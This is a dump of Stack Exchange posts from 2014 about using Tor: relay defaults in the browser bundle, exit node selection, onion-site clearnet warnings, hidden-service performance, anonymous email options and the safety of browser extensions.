  <row Id="4556" PostTypeId="2" ParentId="4491" CreationDate="2014-11-08T20:14:01.650" Score="2" Body="&lt;p&gt;I have also had this issue, but have been able to resolve it by installing a &quot;Google US&quot; Search Engine. You can do this by going to &lt;a href=&quot;http://mycroftproject.com/google-search-plugins.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mycroftproject.com/google-search-plugins.html&lt;/a&gt; and choosing the third option &quot;Google&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3B54.jpg&quot; alt=&quot;Mycroft Project&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should then see the option to add the Search Engine. You also have the option to set it as the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RNG3N.jpg&quot; alt=&quot;Add Search Engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5056" LastActivityDate="2014-11-08T20:14:01.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4557" PostTypeId="2" ParentId="4551" CreationDate="2014-11-08T20:21:02.950" Score="0" Body="&lt;p&gt;sorry to hear about your resolution problems - to help improve tails, it'd be great if you could file a bug report: &lt;a href=&quot;https://tails.boum.org/doc/first_steps/bug_reporting/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/first_steps/bug_reporting/index.en.html&lt;/a&gt; - thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now on to solving your problem, i don't know of any better kernel arguments, but if you feel comfortable with enabling a root account, here is a website that explains how to change the resolution with xrandr: &lt;a href=&quot;http://www.ubuntugeek.com/how-change-display-resolution-settings-using-xrandr.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ubuntugeek.com/how-change-display-resolution-settings-using-xrandr.html&lt;/a&gt; - i tested it with tails 1.2 and it worked for me.&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-11-08T20:21:02.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4558" PostTypeId="1" AcceptedAnswerId="4559" CreationDate="2014-11-08T20:26:30.220" Score="2" ViewCount="248" Body="&lt;p&gt;I read an article (about that Tor underground raid)) in  that articel they said that installing the Tor browser bundle could be dangerous as it acts also as an relay and that illegal data could be streamed by my PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as far as I know the browser bundle only installs a new Firefox browser with Tor addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I talk about the offical bundle from there: &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I feel a little unsafe...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have more informations on this?&#xA;And how can I make sure that there isn't a relay active?&lt;/p&gt;&#xA;" OwnerUserId="5058" LastEditorUserId="923" LastEditDate="2014-11-09T11:40:16.383" LastActivityDate="2014-11-09T11:40:16.383" Title="Windows Tor Browser Bundle check if relays is off" Tags="|tor-browser-bundle|relays|windows|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4559" PostTypeId="2" ParentId="4558" CreationDate="2014-11-08T20:37:49.920" Score="1" Body="&lt;p&gt;tor does not provide browser versions for any platform (be it windows or anything else) that have (exit) relays enabled by default. tor browser does not have an interface to enable or disable it either - your computer would need a direct connection to the internet too to be reachable by other nodes in the network, so it's all round unlikely for you to ever relay traffic for the tor network. &lt;strong&gt;tor is not a p2p application&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, if you are still unsure and want to check the configuration file that tor browser uses to connect to the network, check the file torrc and torrc-defaults located in tor-browser_en-US/Browser/TorBrowser/Data/Tor/ - you should see client related entries, but nothing at all relating to (exit) relaying.&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-11-08T20:37:49.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4561" PostTypeId="2" ParentId="4422" CreationDate="2014-11-08T23:14:04.207" Score="0" Body="&lt;p&gt;As far as i know you can restrict/allow just the country, but not a specific Ip address (exit node)&#xA;and i don't think it's possible, Tor changes the path (mid relay, exit node) every 10 min, so you would not be able to maintain constantly the same Ip address (exit node) either.&lt;/p&gt;&#xA;" OwnerUserId="3825" LastActivityDate="2014-11-08T23:14:04.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4562" PostTypeId="2" ParentId="4422" CreationDate="2014-11-09T01:12:22.493" Score="1" Body="&lt;p&gt;that's perfectly possible, at least if there's an exit node in/on that particular city/state/country/continent (you'll need to do your research as to where exactly the exits are physically located yourself), but quite discouraged, as for certain scenarios it makes attacking you easier - if you still want to go down that route, see &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExitNodes&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en#ExitNodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExitNodes &lt;em&gt;node,node,…&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of identity fingerprints, nicknames, country codes and address patterns of nodes to use as exit node---that is, a node that delivers traffic for you outside the Tor network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;there's also the .exit notation  which would enable you to choose an exit based on using a special domain - &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#AllowDotExit&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en#AllowDotExit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AllowDotExit 0|1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If enabled, we convert &quot;www.google.com.foo.exit&quot; addresses on the SocksPort/TransPort/NATDPort into &quot;www.google.com&quot; addresses that exit from the node &quot;foo&quot;. Disabled by default since attacking websites and exit relays can use it to manipulate your path selection. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;not sure how aware tor browser is about content, i believe it breaks a lot of things and isn't particularly safe to use&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-11-09T01:12:22.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4565" PostTypeId="1" CreationDate="2014-11-09T17:02:33.970" Score="1" ViewCount="3587" Body="&lt;p&gt;When browsing onion websites e.g. discussion forums, quite regularly I will encounter links to clearnet http/https addresses along with an explicit &lt;strong&gt;Clearnet Warning&lt;/strong&gt; along with the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is unclear to me is what precisely the warning is referring to. The frequency with which I see it makes me wonder if I'm misunderstanding the threats to browsing with TBB:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Perhaps clearnet browsing reflects a threat to anonymity that is not had by &quot;sticking to onion websites&quot; only?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Does posting a clearnet link on an onion website give adversaries a new possible vector to exploit and deanonymise Tor users? That is, if the adversary can compromise the server hosting that domain, they have a honeypot for all visitors of this new URL, one which had not existed prior to the new link being created? I presume an individual accessing the URL with an appropriately con&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Does the threat relate to exposing visitors to potential deanonymization via correlational attacks?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If explanations 2 or 3 are more correct, is it true to say that the Tor user who first accessed the clearnet URL and posted the link was not vulnerable (at least threat 3), whereas the Tor users who subsequently visit it are? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, will an appropiately configured TBB e.g. Javascript disabled, mitigate the majority of these dangers from the offset? I apologise for the peculiar question -- from the context in which read them, it seems that posting clearnet URLs is tantamount to a faux pas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Previously related questions&lt;/strong&gt;&lt;br&gt;&#xA;These questions have been previously asked and although they relate to similiar topics, but do not explicitly address the question I am asking here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1764/which-provides-better-security-anonimity-onion-or-https&quot;&gt;Which provides better security/anonimity: .onion or https?&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/86/is-tors-security-compromised-if-other-services-are-connecting-in-the-clear&quot;&gt;Is Tor's security compromised if other services are connecting in the clear?&lt;/a&gt; Relates to non-browser related activities&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3542" LastActivityDate="2014-11-09T17:02:33.970" Title="Reason behind &quot;clearnet warning&quot; when posting URL links on onion websites" Tags="|tor-browser-bundle|security|deanonymization|javascript|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4567" PostTypeId="1" CreationDate="2014-11-09T19:24:53.360" Score="1" ViewCount="136" Body="&lt;p&gt;I'm trying to get a better idea of the cast of characters that comprise the Tor network structure and am hung up a bit on the distinction between these. &lt;/p&gt;&#xA;" OwnerUserId="5069" LastEditorUserId="5069" LastEditDate="2014-11-09T19:45:39.503" LastActivityDate="2016-12-21T14:10:41.177" Title="Is an Hidden Service directory the same thing as a Directory Server?" Tags="|onion-services|directory|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4568" PostTypeId="1" CreationDate="2014-11-09T21:36:31.707" Score="3" ViewCount="828" Body="&lt;p&gt;there is VERY little to find about optimizing a website which runs in the Tor network. Besides installing the Tor daemon, what can you do? Are there any tricks like connecting it to more relays than the standard config does? Anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I can't run my website over multiple servers. The only optimization I did so far is reducing the size of all images so the user doesn't have to download so much. Sites like -for example- Grams load really quick. They must have done something to achieve that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm using nginx, it's optimized. Server is strong. The bottleneck is the connection to the tor network. I'm aware that it will never be as fast as in the clearnet, but i'm sure somehow I could do better.&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorDisplayName="user5" LastEditDate="2014-11-09T21:56:12.707" LastActivityDate="2022-01-02T06:03:05.210" Title="Optimize Tor Hidden Service" Tags="|configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4569" PostTypeId="1" CreationDate="2014-11-09T21:45:28.623" Score="2" ViewCount="1051" Body="&lt;p&gt;I'm running a onion website and was wondering if there is any (Tor) business email service for my website so I can send out emails without revealing my server IP. Currently I have emails disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows what options I have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="923" LastEditDate="2014-11-26T14:37:46.913" LastActivityDate="2015-02-24T15:16:50.697" Title="Is there any SMTP (business email) service for Tor?" Tags="|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4571" PostTypeId="2" ParentId="4569" CreationDate="2014-11-10T09:23:22.573" Score="1" Body="&lt;p&gt;Autistici has email reachable through a onion domain&#xA;&lt;a href=&quot;http://www.autistici.org/en/services/mail.html&quot; rel=&quot;nofollow&quot;&gt;http://www.autistici.org/en/services/mail.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get a account there, then pipe mail through there, but keep in mind your server&#xA;has to be able to reach onion domains, one way of doing so is to 'torify' your server, &#xA;(&lt;a href=&quot;https://wiki.torproject.org/noreply/TheOnionRouter/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://wiki.torproject.org/noreply/TheOnionRouter/TransparentProxy&lt;/a&gt;) meaning that all dns requests and such goes through Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing so you can easily use 'sendmail' and any other way of sending email through your website.&#xA;But keep in mind any 'leaking' data that can come with the emails being sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using autistici's service you can reach any email address on clearnet through Tor.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="923" LastEditDate="2014-11-26T14:40:46.520" LastActivityDate="2014-11-26T14:40:46.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4572" PostTypeId="1" AcceptedAnswerId="4575" CreationDate="2014-11-10T09:28:48.730" Score="1" ViewCount="127" Body="&lt;p&gt;Looking at this &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;releases for windows&lt;/a&gt;: &#xA;Are in any of these releases public exits on by default? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In his &lt;a href=&quot;https://tor.stackexchange.com/questions/4558/windows-tor-browser-bundle-check-if-relays-is-off&quot;&gt;post @SamWhited&lt;/a&gt; assumed that they are off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But looking at Point g of &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Configuring a Tor Relay&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to allow others to use your relay for these services, don't change anything. Un-check the services you don't want to allow people to reach from your relay. If you want to be a non-exit relay, un-check all services.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So these bundles generate an exit policy by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just feel a little panic because I'm, unsure weather i could have installed the bridge bundle a week ago instead of the browser bundle and that this could have resulted in an accidental public tor exit :-(&lt;/p&gt;&#xA;" OwnerUserId="5058" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-11-10T12:40:42.233" Title="Is a Public Exit TorRelay on or off by default?" Tags="|tor-browser-bundle|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4573" PostTypeId="2" ParentId="1207" CreationDate="2014-11-10T11:16:40.173" Score="3" Body="&lt;p&gt;SigAint is an email provider located in the hidden services. &#xA;&lt;a href=&quot;http://sigaintevyh2rzvw.onion/&quot; rel=&quot;nofollow&quot;&gt;http://sigaintevyh2rzvw.onion/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5071" LastActivityDate="2014-11-10T11:16:40.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4574" PostTypeId="2" ParentId="4552" CreationDate="2014-11-10T12:29:01.720" Score="2" Body="&lt;p&gt;The technology is simply too complicated to boil it all down to one &quot;reply that my mom would understand,&quot; unfortunately.  There are some things you can do to significantly increase your level of anonymity, however.  I believe the questions should be (1) anonymous from who exactly (identify threats), (2) what abilities do each of those particular observers have with which to identify the sender, and (3) how does the sender use tech. to mitigate each of those particular threats?  General advice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Connect only via Tor&#xA;-- Learn how to use the TBB well&#xA;-- Use a dedicated TorBrowser only for anonymous email&lt;/li&gt;&#xA;&lt;li&gt;Use only webmail&lt;/li&gt;&#xA;&lt;li&gt;Always use VPN &gt; Tor&lt;/li&gt;&#xA;&lt;li&gt;Find an email provider that either does not require Javascript or offers Squirrelmail&lt;/li&gt;&#xA;&lt;li&gt;Don't use any real information at all with your anonymous email account&#xA;-- Use randomly generated information&lt;/li&gt;&#xA;&lt;li&gt;Don't use a phone with your anonymous email account&lt;/li&gt;&#xA;&lt;li&gt;Find an email provider that hosts a .onion page for increased security&#xA;-- Mail2Tor, RuggedInbox, SigAint, Lelantos, etc.&lt;/li&gt;&#xA;&lt;li&gt;Encrypt all of your email with PGP&lt;/li&gt;&#xA;&lt;li&gt;Use Tails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some email providers strip META-data from email headers; that's preferable.  Any options for increasing security while connecting to the email provider's .onion page may increase the fingerprint of your browser; that's not preferable.  With this being said, and if you're using the TorBrowser to only connect to the mail provider, then a few options for greater security than the default TBB settings could be reasonable depending on your threat model.  Suggestions for further research: NoScript settings, Forward Security, OCSP, Mixed Content, Frames, HTTP Referer Headers, Safe SSL Negotiation, SSL Certificate Fingerprinting (not with .onion sites usually), and TLS 1.1+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're really serious about sending an anonymous email, for instance to a journalist, then sending a PGP encrypted, one-way-only email through some series of anonymous Mixmaster or Mixminion remailers, in addition to some or all of the above precautions, is the best option I've heard of at least.  &lt;/p&gt;&#xA;" OwnerUserId="5071" LastActivityDate="2014-11-10T12:29:01.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4575" PostTypeId="2" ParentId="4572" CreationDate="2014-11-10T12:40:42.233" Score="3" Body="&lt;p&gt;The releases for Windows consist of several subpackages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor Browser&lt;/li&gt;&#xA;&lt;li&gt;Vidalia Bridge Bundle&lt;/li&gt;&#xA;&lt;li&gt;Vidalia Relay Bundle&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Vidalia Exit Bundle&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Expert Bundle&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The package in italic (&lt;em&gt;Vidalia Exit Bundle&lt;/em&gt;) is the one which is configured as exit by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser is just a client. The Vidalia Bridge Bundle configures Tor as a bridge, which is kind of a hidden entry point and the Vidalia Relay Bundle configures Tor as a non-exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The description at the page &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;Configuring your Tor Relay&lt;/a&gt; is insofar not fully exact.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-11-10T12:40:42.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4577" PostTypeId="2" ParentId="4552" CreationDate="2014-11-10T13:00:27.050" Score="1" Body="&lt;p&gt;There already exists a solution for anonymous mail services. It is called &lt;a href=&quot;http://mixmaster.sf.net/&quot; rel=&quot;nofollow&quot;&gt;Mixmaster&lt;/a&gt;. You can use it either with special clients (&lt;a href=&quot;http://www.danner-net.de/om.htm&quot; rel=&quot;nofollow&quot;&gt;OmniMix for Windows&lt;/a&gt;) or with a website (&lt;a href=&quot;http://anonymouse.org/anonemail.html&quot; rel=&quot;nofollow&quot;&gt;Anonymouse&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the website you just enter the email address, subject and the text. The mail itself is sent over several servers. Each identifying information of the email will be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you just need to secure your browsing to the website. If you need to be secure it might be good to use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;, login to some open Wifi and use the website. However I recommend to get some information about operational security first. This will help you recognize where risks are and how to secure your machines and your behavior.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-11-10T13:00:27.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4578" PostTypeId="2" ParentId="48" CreationDate="2014-11-10T13:43:40.450" Score="0" Body="&lt;p&gt;As a side note, upon looking further into the FF extension &quot;Request Policy,&quot; additional Firefox extensions are no longer recommended on the current General FAQ page at torproject.org.  The Tor Security Advisory referenced in the question above is dated 5 August 2013.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherExtensions&quot; rel=&quot;nofollow&quot;&gt;Current&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Can I install other Firefox extensions?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Tor Browser is free software, so there is nothing preventing you&#xA;  from modifying it any way you like. However, &lt;strong&gt;we do not recommend&#xA;  installing any additional Firefox add-ons with the Tor Browser Bundle.&lt;/strong&gt;&#xA;  Add-ons can break your anonymity in a number of ways, including&#xA;  browser fingerprinting and bypassing proxy settings.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Some people have suggested we include ad-blocking software or&#xA;  anti-tracking software with the Tor Browser Bundle. Right now, we do&#xA;  not think that's such a good idea. The Tor Browser Bundle aims to&#xA;  provide sufficient privacy that additional add-ons to stop ads and&#xA;  trackers are not necessary. Using add-ons like these may cause some&#xA;  sites to break, which we don't want to do. Additionally, maintaining a&#xA;  list of &quot;bad&quot; sites that should be black-listed provides another&#xA;  opportunity to uniquely fingerprint users&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An undated &lt;a href=&quot;http://tor.mirror.tn/docs/faq.html.en#TBBOtherExtensions&quot; rel=&quot;nofollow&quot;&gt;past version&lt;/a&gt; (maybe August 2013?) of the same page: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Can I install other Firefox extensions?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Yes. Just install them like normal. But be sure to avoid extensions&#xA;  like Foxyproxy that screw up your proxy settings. Also, avoid&#xA;  privacy-invasive extensions (for example, pretty much anything with&#xA;  the word Toolbar in its name).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Generally, extensions that require registration, and/or provide&#xA;  additional information about websites you are visiting, should be&#xA;  suspect.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Extensions you might like include RefControl (referer spoofing),&#xA;  SafeCache, Better Privacy, AdBlock Plus (EasyPrivacy+EasyList), Cookie&#xA;  Culler, Request Policy and Certificate Patrol.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5071" LastActivityDate="2014-11-10T13:43:40.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4579" PostTypeId="2" ParentId="4447" CreationDate="2014-11-10T14:21:20.210" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;E.g., the owner of an entry node might decide to send&#xA;  malicious code back to all Tor users&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All return traffic is encrypted to the original requester. Tor uses an Onion routing scheme, so the original entry node could misbehave and send you bad traffic, but you'd know that it didn't come from the correct place (or correlate with a request you made) and ignore it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or the owners of an exit node&#xA;  might decide to infect all Tor users who visit a site that their&#xA;  government does not want them to see. Infection would be for the&#xA;  purpose of piercing anonymity, rather than for financial gain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This has been &lt;a href=&quot;http://www.leviathansecurity.com/blog/the-case-of-the-modified-binaries/&quot; rel=&quot;nofollow&quot;&gt;observed in the wild&lt;/a&gt; and is why you should use TLS when visiting sites over Tor (only go to sites that use &quot;HTTPS&quot;).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Why doesn't China, or any other government or entity e.g., set up nodes to infect dissidents?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;They almost certainly do. Again, use TLS (and if you can, check the hash or signature of binaries out of band).&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-11-10T14:21:20.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4580" PostTypeId="1" AcceptedAnswerId="4590" CreationDate="2014-11-10T17:08:46.387" Score="1" ViewCount="1525" Body="&lt;p&gt;Under which process name would tor run and would there be any differnce between browser and or relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there also be a installed windows service?&lt;/p&gt;&#xA;" OwnerUserId="5058" LastEditorDisplayName="user5" LastEditDate="2014-11-10T19:57:42.373" LastActivityDate="2014-11-11T13:30:49.267" Title="tor processname / Service name would tor run?" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4582" PostTypeId="1" AcceptedAnswerId="6578" CreationDate="2014-11-10T18:00:16.600" Score="0" ViewCount="3608" Body="&lt;p&gt;Its been around 2 months since I had been using Tor and I am in love with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to try running a Tor relay using the Amazon EC2 account I signed up today. I am pretty new to this service but after proper understanding of the tutorial on &lt;a href=&quot;https://cloud.torproject.org/#get_started&quot; rel=&quot;nofollow&quot;&gt;https://cloud.torproject.org/#get_started&lt;/a&gt; which isn't exactly up to date with the new Amazon interface but is of course understandable what needs to be done to set up a proper Tor relay I sort of have the need to run a Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on the free year, so I think running this machine int too hard to afford as Amazon provides 720+ hours of free monthly up time for an instance  for all new user for one whole year. This I believe creates great opportunity for people who cannot contribute to the Tor network with cording to truly support the community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 0:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the keyword here is 720 hours of up time for one month. This is almost the amount of hours in a month. So for a first year free Amazon user, running a single instance that has Tor in it is all he/she can run for free for a month. Am I right? &#xA;Or is there a way we can run two? i.e. one dedicated to Tor and keep another n ON state? (disregard expenses that might occur on both due to processing which are unpredictable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the guide provided on the &lt;a href=&quot;https://cloud.torproject.org/#get_started&quot; rel=&quot;nofollow&quot;&gt;https://cloud.torproject.org/#get_started&lt;/a&gt;&#xA; and noticed that we are only &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;creating a linux virtual server&lt;/li&gt;&#xA;&lt;li&gt;Creating Key pairs to SSH the virtual machine later&lt;/li&gt;&#xA;&lt;li&gt;Applying security settings to allow SSH,HTTPS, 40872 and 52176 ports.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I haven't noticed Installing Tor in any of those steps recommended. So how come allowing these ports will actually Enable me to run a Tor relay? Does any Linux flavor has Tor build in? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it mean when I am running Tor in my Laptop (running Tor version 2 which I received for Trisquel version 7 - latest) is actually running as a Tor relay too? &#xA;Yes, I do use the browser bundle whenever complete anonymity is required. I just find it easy and so convenient when Tor automatically loads at system start up without any browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific flavor required to be chosen During the Amazon Instance creation? I couldn't find the place it was recommended on the previous Tor guide to create a Tor relay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still understanding Tor and I am a newbie. I also know that Tor works based on encryption and not on trust. So I too would like to run a Tor Exit relay on my Amazon EC2 account. I mean its my server and I think Amazon shouldn't have any problem me running a Tor Exit node on it. yes I know the increased amount of data that it may cause me but If I successfully run it, probably I may have a chance convincing some people who are heavy Amazon users to run exit nodes. &#xA;so the question is, should I follow the same procedure that is provided on the Tor website for creating a Tor Exit relay to prepare a Tor exit instance in my Amazon EC2 account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;love Tor!&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="4990" LastEditDate="2014-11-10T18:08:44.630" LastActivityDate="2015-04-06T04:13:50.260" Title="Stetting up a Tor Bridge in Amazon EC2 - Amazon AWS" Tags="|relays|exit-relays|tor-cloud|server-administration|middle|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4583" PostTypeId="1" CreationDate="2014-11-10T21:02:08.013" Score="1" ViewCount="1498" Body="&lt;p&gt;I am trying to load Tor 4.0.1 on my MacBook Pro running Mac OS X 10.5.8. The file arrives with the &quot;no entry&quot; sign on it and will not load. Are there any solutions? Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="5075" LastEditorDisplayName="user66" LastEditDate="2014-11-11T08:55:50.707" LastActivityDate="2014-11-11T08:55:50.707" Title="Mac OS X 10.5.8 not accepting Tor 4.0.1" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
